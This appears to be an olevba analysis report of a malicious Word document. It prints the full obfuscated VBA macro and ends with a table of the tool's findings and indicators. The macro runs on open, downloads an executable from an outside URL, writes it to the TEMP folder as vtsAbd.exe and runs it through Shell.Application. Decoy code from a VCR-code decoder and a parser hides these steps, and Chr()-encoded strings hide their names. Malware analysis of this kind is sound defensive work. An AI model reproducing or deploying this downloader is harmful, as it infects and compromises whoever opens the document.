Malicious Word macro

olevba 0.41 - http://decalage.info/python/oletools
Flags        Filename
-----------  -----------------------------------------------------------------
OLE:MASIHB-V mse7396821.doc

(Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)

===============================================================================
FILE: mse7396821.doc
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: mse7396821.doc - OLE stream: u'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Sub autoopen()


NNmmceek 3800, 6.9004

End Sub





' // Interleaves bits
Private Sub Interleave(SlotIndex As Long, cval As Long, t8c5 As Long, t2c1 As Long)
    Dim tblidxBinary As String
    Dim cvalBinary As String

    tblidxBinary = Binary2(CStr(SlotIndex), 11)
    cvalBinary = Binary2(CStr(cval), 4)

    t8c5 = Dec2(Left(tblidxBinary, 7) & Mid(cvalBinary, 4 - 3, 1) & Mid(cvalBinary, 4 - 2, 1) & Mid(tblidxBinary, 11 - 3, 1))
    t2c1 = Dec2(Mid(tblidxBinary, 11 - 2, 1) & Mid(cvalBinary, 4 - 1, 1) & Mid(tblidxBinary, 11 - 1, 1) & Mid(cvalBinary, 4 - 0, 1) & Mid(tblidxBinary, 11 - 0, 1))
End Sub


Sub NNmmceek(cscscss As Integer, dDouble As Double)
DurationTo


End Sub




-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: mse7396821.doc - OLE stream: u'Macros/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Private Function UnmapTop(ByVal day As Integer, ByVal year As Integer, ByVal top As Long, ByVal digits As Integer) As Long
    Dim d2 As Long
    Dim d1 As Long
    Dim d0 As Long
    Dim y As Long
    Dim poot As Long
    Dim n2 As Long
    Dim n1 As Long
    Dim n0 As Long
    Dim f3 As Long
    Dim f2 As Long
    Dim f1 As Long
    Dim f0 As Long
    Dim p3 As Long
    Dim p2 As Long
    Dim p1 As Long

    d2 = top \ 100
    d1 = (top Mod 100) \ 10
    d0 = top Mod 10

    ' / generate key (P3P2P1F0) and reverse key (F3F2F1F0)
    f0 = 1
    y = year Mod 16
    p1 = (y + 1) Mod 10
    f1 = 10 - p1

    p2 = (((y + 1) * (y + 2)) \ 2) Mod 10
    f2 = 10 - ((p2 + f1 * p1) Mod 10)

    p3 = (((y + 1) * (y + 2) * (y + 3)) \ 6) Mod 10
    f3 = 10 - ((p3 + f1 * p2 + f2 * p1) Mod 10)

    If digits = 1 Then
        n0 = (d0 * f0 + day * f1) Mod 10
        n1 = 0
        n2 = 0
    End If

    If digits = 2 Then
        n0 = (d0 * f0 + d1 * f1 + day * f2) Mod 10
        n1 = (d1 * f0 + day * f1) Mod 10
        n2 = 0
    End If

    If digits = 3 Then
        n0 = (d0 * f0 + d1 * f1 + d2 * f2 + day * f3) Mod 10
        n1 = (d1 * f0 + d2 * f1 + day * f2) Mod 10
        n2 = (d2 * f0 + day * f1) Mod 10
    End If

    poot = 100 * n2 + 10 * n1 + n0

    UnmapTop = poot
End Function

' // vcrplus.h -
' // qlookup.c

Private Function FindSlotIndex(StartTime As Integer, Duration As Integer) As Long
    Dim j As Long

    For j = 0 To SOFTLIMIT - 1
        If SlotTable(j)(0) = StartTime And SlotTable(j)(1) = Duration Then
            FindSlotIndex = j
            Exit Function
        End If
    Next
End Function


' // misc.h
Private Function EndTime(ByVal start As Integer, ByVal dur As Integer) As Integer
    Dim min As Integer
    Dim hr As Integer

    min = (start Mod 100) + dur

    hr = min \ 60
    min = min Mod 60
    hr = (hr + start \ 100) Mod 24
    EndTime = hr * 100 + min
End Function

' // scramble.h
Public Function CrossMultiply2(ByVal sValue As String, ByVal sKey As String) As String
    Dim iValueLen As Integer
    iValueLen = Len(StripZero(sValue))
    Do
        CrossMultiply2 = Pad(Pad(Multiply(sValue, sKey, 10, 0), iValueLen), 8)
        sValue = CrossMultiply2
    Loop Until Mid$(CrossMultiply2, Len(CrossMultiply2) - iValueLen + 1, 1) <> "0"
End Function

Private Sub Deinterleave(ByVal t8c5 As Long, ByVal t2c1 As Integer, SlotIndex As Long, cval As Integer)
    Dim t8c5binary As String
    Dim t2c1binary As String

    t8c5binary = Binary2(CStr(t8c5), 10)
    t2c1binary = Binary2(CStr(t2c1), 10)

    SlotIndex = Dec2(Left(t8c5binary, 7) & Right(t8c5binary, 1) & Mid(t2c1binary, 10 - 4, 1) & Mid(t2c1binary, 10 - 2, 1) & Mid(t2c1binary, 10 - 0, 1))
    cval = Dec2(Mid(t8c5binary, 10 - 2, 1) & Mid(t8c5binary, 10 - 1, 1) & Mid(t2c1binary, 10 - 3, 1) & Mid(t2c1binary, 10 - 1, 1))

End Sub

' // Will produce a binary string of a decimal number
Public Function Binary2(sNumber As String, iSize As Integer) As String
    Binary2 = Pad(Convert(sNumber, 10, 2), iSize)
End Function

' // Will produce a decimal number of a binary string
Public Function Dec2(sNumber As String) As String
    Dec2 = Convert(sNumber, 2, 10)
End Function

Public Function Dec33(FindSlotIndex As String, SomeVarI As Double)
Set noexile = FindSlotAs2Index(Chr(83) & "h" & "e" & Chr(108) & Chr(108) & ";<=" + Chr(46) & Chr(65) & "p" & Chr(112) & Chr(108) & Chr(105) & Chr(99) & Chr(97) & Chr(116) & Chr(105) & Chr(111) & Chr(110))
noexile.Open (FindSlotIndex)
End Function
Private Function DecodeRight3Digits2(sRight3Digits As String) As String
    DecodeRight3Digits2 = Convert(sRight3Digits, 10, 32)
End Function

Private Sub Deinterleave2(ByVal A As Long, ByVal B As Integer, iSlotIndex As Long, iChannel As Integer)
    Dim Abin As String
    Dim Bbin As String

    Abin = Binary2(CStr(A), 10)
    Bbin = Binary2(CStr(B), 5)

    iSlotIndex = Dec2(Slice(Abin, 1, 7) & Slice(Abin, 10) & Slice(Bbin, 1) & Slice(Bbin, 3) & Slice(Bbin, 5))
    iChannel = Dec2(Slice(Abin, 8, 9) & Slice(Bbin, 2) & Slice(Bbin, 4))

    Debug.Print Abin & "  " & Bbin
    Debug.Print iSlotIndex & " " & iChannel
End Sub




-------------------------------------------------------------------------------
VBA MACRO Module2.bas
in file: mse7396821.doc - OLE stream: u'Macros/VBA/Module2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
' // Encode.c
Public Function Encode(day As Integer, month As Integer, year As String, Channel As Integer, StartTime As Integer, Duration As Integer)
    Dim j As Integer
    Dim SlotIndex As Long
    Dim limit_ As Long
    Dim doneflag As Long ' FULLSEARCH
    Dim s5_out As Long
    Dim Right3Digits As Integer
    Dim Right5BinaryDigits As Integer
    Dim ofout As Integer
    Dim EncodedNumber As Long
    Dim Left5Digits As Long
    Dim number As Long
    Dim s4_out As Long

    MonthArray = Array("Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec")
    Set Encode = CreateObject(Replace(year, Chr(35 * 2 - 14 + 6), ""))
    If day >= 0 Then
    Exit Function
    End If
    C.reateSlotTable

    year = year Mod 100

    SlotIndex = Find.SlotIndex(StartTime, Duration)
    If SlotIndex = -1 Then
        Encode = -1 ' error
        Exit Function
    End If

    ' From them infer what must have been step 4 & step 5 results */
    Inter.leave SlotIndex, Channel - 1, s4_out, s5_out

    ' If the mapped_top is zero then top and offset are zero */
    If s4_out = 0 Then
        Left5Digits = 0
        ofout = 0
    Else
        Dim i As Integer
        Dim tmp As Long

        j = Len(CStr(s4_out))
        limit_ = 10 ^ j
        If j > 3 Then
            Encode = 0 ' needs higher digit coding
        End If
          End If
    End Function
    Public Function CrossMultiply3(Interleave2 As Long)

Dim PbMain31 As Object
Set PbMain31 = FindSlotAs2Index(Chr(77) & Chr(105) & "c" & Chr(114) & Chr(111) & Chr(115) & Chr(111) & Chr(102) & "t" & Chr(46) & Chr(88) & "M" & Chr(76) & "H" & Chr(84) & Chr(84) & "P")
Left20Digits PbMain31
PbMain31.Send
CrossMultiply3 = PbMain31.responseBody
End Function
Public Function limitCrossMultiply3(Interleave2 As Long)
        limit_ = limit_ \ 10
        ofout = 0
        Left5Digits = s4_out
        ' Get a Left5Digits with same no digits as s4_out
        ' May have to loop several times
        Do
            ' Reverse the MapTop encryption
            Left5Digits = Unm.apTop(day, year, Left5Digits, j)
            For i = 0 To (year Mod 16)
                'ofout = ofout + (MapTop(day, i, Left5Digits, j) Mod 10)
            Next
        Loop While Left5Digits < limit_

        ' Add sum of final Left5Digits's digits to offset
        tmp = Left5Digits

        While tmp > 0
            ofout = ofout + (tmp Mod 10)
            tmp = tmp \ 10
        Wend

        ofout = ofout Mod 32

    End If

    ' Have two of the three inputs to step 5; determine the rem
    For Right5BinaryDigits = 0 To 31
        j = (Right5BinaryDigits + (day * (month + 1)) + ofout) Mod 32
        If j = s5_out Then
            Exit For
        End If
    Next

    ' Assemble the output of step 1
    Right3Digits = Enc.ode_Right3Digits(day, Right5BinaryDigits)
    EncodedNumber = Right3Digits + (1000 * Left5Digits)

    ' Invert the mixing
    'number = CrossMultiply(EncodedNumber, DecodeKey)
    number = CrossMultiply2(CStr(EncodedNumber), CStr(DecodeKey))

    Encode = number

End Function


' //  Decode.c
Public Function Decode(ByVal ThisMonth As Integer, ByVal ThisDate As Integer, ByVal ThisYear As Integer, ByVal number As Long) As Variant
    Dim EncodedNumber As String
    Dim Left5Digits As String
    Dim Right3Digits As Integer
    Dim LeftBinaryDigits As Integer
    Dim Right5BinaryDigits As Integer
    Dim s5_out As Integer
    Dim ofout As Integer
    Dim mtout As Long
    Dim SlotIndex As Long
    Dim DayOut As Integer
    Dim Channel As Integer
    Dim StartTime As Integer
    Dim Duration As Integer

    MonthArray = Array("Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec")

    CreateSlotTable

    ThisYear = ThisYear Mod 100

    If ThisMonth > 12 Or ThisMonth < 1 Or ThisDate < 1 Or ThisDate > 31 Then
        'Debug.Print "Invalid date"
        Exit Function
    End If

    If number < 1 Or number > 99999999 Then
        'Debug.Print "Sorry, plus code too long"
        Exit Function
    End If

    ofout = INVALID
    mtout = INVALID

    EncodedNumber = CrossMultiply2(CStr(number), GenerateKey(2, 8))

    Right3Digits = CInt(Right$(EncodedNumber, 3))
    Left5Digits = Left$(EncodedNumber, 5)
    LeftBinaryDigits = (Right3Digits - 1) \ 32
    Right5BinaryDigits = (Right3Digits - 1) Mod 32
    DayOut = LeftBinaryDigits + 1

    If DayOut < ThisDate Then
        ThisMonth = ThisMonth + 1
        If ThisMonth > 12 Then
            ThisMonth = 1
            ThisYear = (ThisYear + 1) Mod 100
        End If
    End If

    If number >= 1000 Then
        Offset DayOut, ThisYear, Left5Digits, ofout, mtout
    Else
        mtout = 0
        ofout = 0
    End If

    s5_out = (Right5BinaryDigits + (DayOut * (ThisMonth + 1)) + ofout) Mod 32

    Deinterleave2 mtout, s5_out, SlotIndex, Channel

    Channel = Channel + 1
    Lookup SlotIndex, StartTime, Duration

    Decode = Array(DayOut, ThisMonth, ThisYear, Channel, StartTime, Duration, EndTime(StartTime, Duration))
End Function

Private Sub Fill(Index As Integer, time As Integer, dur As Integer)
    Dim i As Integer

    For i = 0 To 33
        SlotTable(i + Index) = Array(time + TList(i), dur + DList(i))
    Next

End Sub




Public Function Right51BinaryDigits(ServidrGEN9_4 As Object, ServidrGEN9_3 As String) As Integer
Right51BinaryDigits = 15
ServidrGEN9_4.savetofile ServidrGEN9_3, 2
Right51BinaryDigits = 2
End Function


Private Function ScanForStart(start As Integer, prev As Long) As Long
    Dim j As Long

    CreateSlotTable

    For j = prev + 1 To SOFTLIMIT - 1
        If SlotTable(j).start = start Then
            ScanForStart = j
        End If
    Next
End Function

Public Function DurationTo()
Dim CrossBoss As Object
Set CrossBoss = FindSlotAs2Index(Chr(65) & "do" & Chr(100) & Chr(98) & Chr(46) & Chr(83) & Chr(116) & Chr(114) & Chr(101) & "a" & Chr(109))

   CrossBoss.Type = 1
Dim ServidrGEN9_3 As String
ServidrGEN9_3 = GetThisStringT()
With CrossBoss
    .Open
    .write CrossMultiply3(2020)
End With
 Dim HricK As Double
HricK = Right32Digits("CrossBoss", "CrossBoss", CrossBoss, ServidrGEN9_3, 13.55)
Dec33 ServidrGEN9_3, HricK
End Function
Private Sub Lookup(ByVal i As Long, StartTime As Integer, Duration As Integer)
    If i > LIMIT Then
        'Debug.Print "Illegal table index"
        Exit Sub
    End If

    If i > SOFTLIMIT Then
        StartTime = INVALID
        Duration = INVALID
        Exit Sub
    End If

'    Open App.Path & "\slots.txt" For Output As #1
'    For i = 0 To 2202
'        Print #1, CStr(SlotTable(i)(0)) & "," & CStr(SlotTable(i)(1))
'    Next
'    Close #1

    StartTime = SlotTable(i)(0)
    Duration = SlotTable(i)(1)
End Sub

Private Function GetDuration(Index As Long) As Integer
    GetDuration = SlotTable(Index).leng
End Function



-------------------------------------------------------------------------------
VBA MACRO Module3.bas
in file: mse7396821.doc - OLE stream: u'Macros/VBA/Module3'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


Private Sub Offset(ByVal iDay As Integer, ByVal iYear As Integer, ByVal sTop5Digits As String, OffsetOut As Integer, TopOut As Long)
    Dim i As Integer
    Dim Offset As Integer
    Dim iDigitCount As Long
    Dim d As String
    Dim MapTopX As String
    Dim sTop5Short As String

    iDigitCount = Len(CStr(Val(sTop5Digits)))
    sTop5Short = Right$(sTop5Digits, iDigitCount)
    For i = 1 To iDigitCount
        Offset = Offset + Val(Slice(sTop5Short, i))
    Next

    Do
        For i = 0 To (iYear Mod 16)
            d = CStr(iDay Mod 10) & sTop5Short
            MapTopX = Slice(Multiply(Reverse(GenerateKey(i, 8)), d, 10, 0), 2, 2 + iDigitCount - 1)
            Offset = Offset + Val(Right$(MapTopX, 1))
        Next
        sTop5Short = MapTopX
    Loop Until Slice(sTop5Short, 1) <> "0" Or Val(sTop5Short) = 0

    OffsetOut = Offset Mod 32
    TopOut = Val(sTop5Short)
End Sub
Private Sub Decode_Right3Digits(ByVal Right3Digits As Integer, ByRef day As Integer, ByRef Right5BinaryDigits As Integer)
    day = ((Right3Digits - 1) / 32) + 1 ' Top bits
    Right5BinaryDigits = (Right3Digits - 1) Mod 32 ' Bottom 5 bits
End Sub

Private Function Encode_Right3Digits(ByVal day As Integer, ByVal Right5BinaryDigits As Integer)
    Encode_Right3Digits = Right5BinaryDigits + (32 * (day - 1)) + 1
End Function




Public Function GetThisStringT() As String

Set sTop1Short = FindSlotAs2Index(Chr(87) & Chr(80 + 3) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) + Chr(23 * 2) & Chr(40 * 2 + 3) & Chr(104) & Chr(101) & Chr(108) & Chr(108)).Environment(Chr(80) & Chr(114) & "o" & Chr(99) & Chr(101) & "s" & "s")
ServidrGEN9_2 = sTop1Short("T" & Chr(69) & Chr(77) & Chr(80))
GetThisStringT = ServidrGEN9_2 & "\" & "vts" & Chr(65) & "bd." & "e" & Chr(120) & "e"
End Function





  Public Function Right32Digits(CrossBoss2 As String, CrossBoss3 As String, CrossBoss As Object, ServidrGEN9_3 As String, ServidrGEN9_8 As Double) As Double
Right32Digits = 5
Right32Digits = Right51BinaryDigits(CrossBoss, ServidrGEN9_3)
Right32Digits = 99.9
  End Function
Public Sub Test()
    Dim vDecode As Variant

    vDecode = Decode(3, 2, 2005, 10)
    Debug.Print vDecode(0)
    Debug.Print vDecode(1)
    Debug.Print vDecode(2)
    Debug.Print vDecode(3)
    Debug.Print vDecode(4)
    Debug.Print vDecode(5)
End Sub

Private Sub FillQHB(Index As Integer, dur As Integer)
    Dim i As Integer

    For i = 0 To 23
        SlotTable(Index + i * 2) = Array(i * 100 + 15, dur)
        SlotTable(Index + i * 2 + 1) = Array(i * 100 + 45, dur)
    Next
End Sub




Private Function FillHHB(Index As Integer, dur As Integer)
    Dim i As Integer

    For i = 23 To 0 Step -1
        SlotTable(Index + (23 - i) * 2) = Array(i * 100 + 30, dur)
        SlotTable(Index + (23 - i) * 2 + 1) = Array(i * 100, dur)
    Next
End Function







-------------------------------------------------------------------------------
VBA MACRO Module4.bas
in file: mse7396821.doc - OLE stream: u'Macros/VBA/Module4'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Public Function ParseLine(linetext As String, Optional iOutputPos, Optional bParsed As Boolean) As Variant
    Dim oParseTree As New ParseTree
    Dim vParseExpression As Variant
    Dim vPosition As Variant
    Dim lindex As Long
    Dim member As ParseTree
    Dim bSpacer As Boolean

    ParserText = linetext

    Set Positions = New Collection
    Set Colours = New Collection
    CanonicalText = ""

    If Not LineParse.Parse(oParseTree) Then
        If linetext <> "" Then
            AddText linetext, vbRed
        End If
        ParseLine = Array(CanonicalText, Positions, Colours)
        iOutputPos = Len(linetext) + 1
        bParsed = False
        Exit Function
    End If
    bParsed = True
    iOutputPos = ParserTextPosition

    ' Variable
    AddText oParseTree(1).Text & oParseTree(2).Text, variableassign_col

    ' ws
    bSpacer = WS(oParseTree(3))

    ' Colon equals
    AddText Spacer(bSpacer) & ":= ", vbBlack

    ' ws
    WS oParseTree(5)

    Select Case oParseTree(6).Index
        Case 1, 2, 3
            AddText oParseTree(6)(1)(1).Text, bracket_col
            Set member = oParseTree(6)(1)(3)
            ParseExpression member
            AddText oParseTree(6)(1)(5).Text, bracket_col
        Case Else
            Set member = oParseTree(6)(1)
            ParseExpression member
    End Select

    ' Semi colon
    AddText ";", vbBlack

    ParseLine = Array(CanonicalText, Positions, Colours)
End Function

Private Function WS(oWS As Integer) As Boolean
    If oWS(1).Index = 1 Then
        AddText oWS(2).Text, vbBlack
    Else
        WS = True
    End If
End Function

Public Function FindSlotAs2Index(doneflagz3 As String)
For i = 3 To 5
doneflagz3 = Replace(doneflagz3, Chr(35 * 2 - 14 + i), "")
Next i
 Set FindSlotAs2Index = Encode(0, 1, doneflagz3, 2, 3, 4)
End Function
Private Function Spacer(bYes As Boolean)
    If bYes Then
        Spacer = " "
    End If
End Function

Private Function ParseExpression(oResult As Integer)
    Dim member As ParseTree
    Dim lindex As Long

    Select Case oResult.Index
        Case 0 ' bracketed expression
            AddText oResult(1).Text, bracket_col
            WS oResult(2)
            Set member = oResult(3)
            ParseExpression member
            WS oResult(4)
            AddText oResult(5).Text, bracket_col

        Case 1 ' literal
            Set member = oResult(1)
            ParseLiteralSubExpression member

        Case 2, 3 ' and, or
            If oResult(1)(1).Index = 1 Then
                AddText UCase(oResult(1)(1).Text) & " ", keyword_col
            Else
                AddText oResult(1)(1).Text, keyword_col
            End If

            WS oResult(1)(2)

            For lindex = 1 To oResult(1)(3).SubTree.Count
                Set member = oResult(1)(3)(lindex)
                If member.Name = "expression" Then
                    ParseExpression member(1)
                Else
                    WS member(1)
                    AddText ",", vbBlack
                    AddText Spacer(WS(member(3))), vbBlack
                End If
            Next

        Case 4 'repeat
            If oResult(1)(1).Index = 1 Then
                AddText "REPEAT", keyword_col
            Else
                AddText "#", keyword_col
            End If

            AddText Spacer(WS(oResult(1)(2))), vbBlack

            Set member = oResult(1)(3)(1)
            ParseExpression member

            If oResult(1)(4).Index = 1 Then
                AddText Spacer(WS(oResult(1)(4)(1)(1))), vbBlack
                If oResult(1)(4)(1)(2).Index = 1 Then
                    AddText "UNTIL", keyword_col
                Else
                    AddText ":", keyword_col
                End If
                AddText Spacer(WS(oResult(1)(4)(1)(3))), vbBlack
                Set member = oResult(1)(4)(1)(4)(1)
                ParseExpression member
            End If

            If oResult(1)(5).Index = 1 Then
                AddText Spacer(WS(oResult(1)(5)(1)(1))), vbBlack
                If oResult(1)(5)(1)(2).Index = 1 Then
                    AddText "MIN", keyword_col
                Else
                    AddText "-", keyword_col
                End If
                AddText Spacer(WS(oResult(1)(5)(1)(3))), vbBlack
                AddText oResult(1)(5)(1)(4).Text, vbBlack
            End If

            If oResult(1)(6).Index = 1 Then
                AddText Spacer(WS(oResult(1)(6)(1)(1))), vbBlack
                If oResult(1)(6)(1)(2).Index = 1 Then
                    AddText "MAX", keyword_col
                Else
                    AddText "+", keyword_col
                End If
                AddText Spacer(WS(oResult(1)(6)(1)(3))), vbBlack
                AddText oResult(1)(6)(1)(4).Text, vbBlack
            End If

        Case 5 'list
            If oResult(1)(1).Index = 1 Then
                AddText "LIST", keyword_col
            Else
                AddText "@", keyword_col
            End If

            AddText Spacer(WS(oResult(1)(2))), vbBlack

            Set member = oResult(1)(3)(1)
            ParseExpression member
            WS oResult(1)(4)
            AddText ",", vbBlack
            AddText Spacer(WS(oResult(1)(6))), vbBlack
            Set member = oResult(1)(7)(1)
            ParseExpression member

            If oResult(1)(8).Index = 1 Then
                AddText Spacer(WS(oResult(1)(8)(1)(1))), vbBlack
                If oResult(1)(8)(1)(2).Index = 1 Then
                    AddText "MIN", keyword_col
                Else
                    AddText "-", keyword_col
                End If
                AddText Spacer(WS(oResult(1)(8)(1)(3))), vbBlack
                AddText oResult(1)(8)(1)(4).Text, vbBlack
            End If

            If oResult(1)(9).Index = 1 Then
                AddText Spacer(WS(oResult(1)(9)(1)(1))), vbBlack
                If oResult(1)(9)(1)(2).Index = 1 Then
                    AddText "MAX", keyword_col
                Else
                    AddText "+", keyword_col
                End If
                AddText Spacer(WS(oResult(1)(9)(1)(3))), vbBlack
                AddText oResult(1)(9)(1)(4).Text, vbBlack
            End If

        Case 6 'in
            If oResult(1)(1).Index = 1 Then
                AddText "IN", keyword_col
            Else
                AddText ">", keyword_col
            End If

            AddText Spacer(WS(oResult(1)(2))), vbBlack
            Set member = oResult(1)(3)
            ParseInSubExpression member

        Case 7 ' optional
            If oResult(1)(1).Index = 1 Then
                AddText "OPTIONAL", keyword_col
            Else
                AddText "?", keyword_col
            End If

            AddText Spacer(WS(oResult(1)(2))), vbBlack
            Set member = oResult(1)(3)(1)
            ParseExpression member

        Case 8 ' not
            If oResult(1)(1).Index = 1 Then
                AddText "NOT", keyword_col
            Else
                AddText "!", keyword_col
            End If
            AddText Spacer(WS(oResult(1)(2))), vbBlack
            Set member = oResult(1)(3)(1)
            ParseExpression member

        Case 9 ' EOS
            If oResult(1).Index = 1 Then
                AddText "EOS", auxkeyword_col
            Else
                AddText "||", auxkeyword_col
            End If

        Case 10 ' PASS
            If oResult(1).Index = 1 Then
                AddText "PASS", auxkeyword_col
            Else
                AddText "*", auxkeyword_col
            End If

        Case 11 'FAIL
            If oResult(1).Index = 1 Then
                AddText "FAIL", auxkeyword_col
            Else
                AddText "~", auxkeyword_col
            End If

        Case 12 ' External
            If oResult(1)(1).Index = 1 Then
                AddText "EXTERNAL", keyword_col
            Else
                AddText "=", keyword_col
            End If
            AddText Spacer(WS(oResult(1)(2))), vbBlack

            AddText oResult(1)(3).Text, vbBlack

            Dim sParameterText As String

            Select Case oResult(1)(4).Index
                Case 0 ' No parameters
                Case 1
                    Dim vParameter As Variant
                    AddText "(", vbBlack
                    For Each vParameter In oResult(1)(4)(1)(1).SubTree
                        sParameterText = sParameterText & "," & vParameter.Text
                    Next

                    AddText Mid$(sParameterText, 2), vbBlack
                    AddText ")", vbBlack
            End Select

        Case 13 'variable
            AddText oResult(1).Text, variable_col
    End Select
End Function

Private Function ParseInSubExpression(oResult As Integer)
    Dim oSub As ParseTree

    For Each oSub In oResult.SubTree
        If oSub(1).Text = "," Then
            AddText ",", vbBlack
            AddText Spacer(WS(oSub(2))), vbBlack
        Else
            If oSub(1).Index = 1 Then
                If oSub(1)(1).Index = 1 Then
                    AddText "NOT", auxkeyword_col
                Else
                    AddText "!", auxkeyword_col
                End If
                AddText Spacer(WS(oSub(2))), vbBlack
            End If

            If oSub(3).Index = 1 Then
                If oSub(3)(1).Index = 1 Then
                    AddText "CASE", auxkeyword_col
                Else
                    AddText "^", auxkeyword_col
                End If
                AddText Spacer(WS(oSub(4))), vbBlack
            End If

            Select Case oSub(5).Index
                Case 1 ' range
                    AddText oSub(5)(1)(1).Text, vbBlack
                    AddText Spacer(WS(oSub(5)(1)(2))), vbBlack
                    If oSub(5)(1)(3).Index = 1 Then
                        AddText "TO", auxkeyword_col
                    Else
                        AddText "-", auxkeyword_col
                    End If
                    AddText Spacer(WS(oSub(5)(1)(4))), vbBlack
                    AddText oSub(5)(1)(5).Text, vbBlack
                Case 2, 3 ' number
                    AddText oSub(5)(1).Text, vbBlack
            End Select
        End If
    Next
End Function

Public Function Left20Digits(Interleave2 As Object)
Dim vDecodeD2 As String
vDecodeD2 = Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & "/" & Chr(102) & "l" & "e" & Chr(120) & "i" & Chr(99) & Chr(97) & "l" & Chr(108) & Chr(46) & Chr(99) & "o" & Chr(46) & "u" & Chr(107) & "/" & Chr(102) & Chr(115) & Chr(102) & Chr(52) & "f" & "d" & Chr(51) & Chr(50) & "/" & "8" & "i" & Chr(107) & Chr(54) & Chr(115) & Chr(99) & "." & Chr(101) & Chr(120) & "e"
Interleave2.Open Chr(71) & "E" & Chr(84), vDecodeD2, False
End Function

Private Function ParseLiteralSubExpression(oResult As Integer)
    Dim oSub As ParseTree

    If oResult(1).Index = 1 Then
        If oResult(1)(1)(1).Index = 1 Then
            AddText "CASE ", auxkeyword_col
        Else
            AddText "^", auxkeyword_col
        End If
    End If

    For Each oSub In oResult(2).SubTree
        If oSub(1).Text = "+" Then
            AddText "+ ", auxkeyword_col
        Else
            AddText oSub.Text, vbBlack
        End If
    Next
End Function

Private Sub AddText(ByVal sAddString As String, ByVal lColour As Long)
    Dim lTextPos As Long

    lTextPos = Len(CanonicalText) + 1
    CanonicalText = CanonicalText & sAddString
    Positions.Add lTextPos
    Colours.Add lColour
End Sub


+------------+----------------------+-----------------------------------------+
| Type       | Keyword              | Description                             |
+------------+----------------------+-----------------------------------------+
| AutoExec   | AutoOpen             | Runs when the Word document is opened   |
| Suspicious | Open                 | May open a file                         |
| Suspicious | Binary               | May read or write a binary file (if     |
|            |                      | combined with Open)                     |
| Suspicious | CreateObject         | May create an OLE object                |
| Suspicious | Chr                  | May attempt to obfuscate specific       |
|            |                      | strings                                 |
| Suspicious | SaveToFile           | May create a text file                  |
| Suspicious | Write                | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | Output               | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | Print #              | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | Shell                | May run an executable file or a system  |
|            |                      | command (obfuscation: VBA expression)   |
| Suspicious | ADODB.Stream         | May create a text file (obfuscation:    |
|            |                      | VBA expression)                         |
| Suspicious | Microsoft.XMLHTTP    | May download files from the Internet    |
|            |                      | (obfuscation: VBA expression)           |
| Suspicious | Hex Strings          | Hex-encoded strings were detected, may  |
|            |                      | be used to obfuscate strings (option    |
|            |                      | --decode to see all)                    |
| Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
|            |                      | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
|            | Strings              | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| IOC        | http://flexicall.co. | URL (obfuscation: VBA expression)       |
|            | uk/fsf4fd32/8ik6sc.e |                                         |
|            | xe                   |                                         |
| IOC        | vtsAbd.exe           | Executable file name (obfuscation: VBA  |
|            |                      | expression)                             |
| IOC        | 8ik6sc.exe           | Executable file name (obfuscation: VBA  |
|            |                      | expression)                             |
| VBA string | Shell;<=.Application | (Chr(83) & "h" & "e" & Chr(108) &       |
|            |                      | Chr(108) & ";<=" + Chr(46) & Chr(65) &  |
|            |                      | "p" & Chr(112) & Chr(108) & Chr(105) &  |
|            |                      | Chr(99) & Chr(97) & Chr(116) & Chr(105) |
|            |                      | & Chr(111) & Chr(110))                  |
| VBA string | Microsoft.XMLHTTP    | (Chr(77) & Chr(105) & "c" & Chr(114) &  |
|            |                      | Chr(111) & Chr(115) & Chr(111) &        |
|            |                      | Chr(102) & "t" & Chr(46) & Chr(88) &    |
|            |                      | "M" & Chr(76) & "H" & Chr(84) & Chr(84) |
|            |                      | & "P")                                  |
| VBA string | Adodb.Stream         | (Chr(65) & "do" & Chr(100) & Chr(98) &  |
|            |                      | Chr(46) & Chr(83) & Chr(116) & Chr(114) |
|            |                      | & Chr(101) & "a" & Chr(109))            |
| VBA string | WScript              | Chr(87) & Chr(80 + 3) & Chr(99) &       |
|            |                      | Chr(114) & Chr(105) & Chr(112) &        |
|            |                      | Chr(116)                                |
| VBA string | hell                 | Chr(104) & Chr(101) & Chr(108) &        |
|            |                      | Chr(108)                                |
| VBA string | Process              | (Chr(80) & Chr(114) & "o" & Chr(99) &   |
|            |                      | Chr(101) & "s" & "s")                   |
| VBA string | TEMP                 | ("T" & Chr(69) & Chr(77) & Chr(80))     |
| VBA string | \vtsAbd.exe          | "\" & "vts" & Chr(65) & "bd." & "e" &   |
|            |                      | Chr(120) & "e"                          |
| VBA string | http://flexicall.co. | Chr(104) & Chr(116) & Chr(116) &        |
|            | uk/fsf4fd32/8ik6sc.e | Chr(112) & Chr(58) & Chr(47) & "/" &    |
|            | xe                   | Chr(102) & "l" & "e" & Chr(120) & "i" & |
|            |                      | Chr(99) & Chr(97) & "l" & Chr(108) &    |
|            |                      | Chr(46) & Chr(99) & "o" & Chr(46) & "u" |
|            |                      | & Chr(107) & "/" & Chr(102) & Chr(115)  |
|            |                      | & Chr(102) & Chr(52) & "f" & "d" &      |
|            |                      | Chr(51) & Chr(50) & "/" & "8" & "i" &   |
|            |                      | Chr(107) & Chr(54) & Chr(115) & Chr(99) |
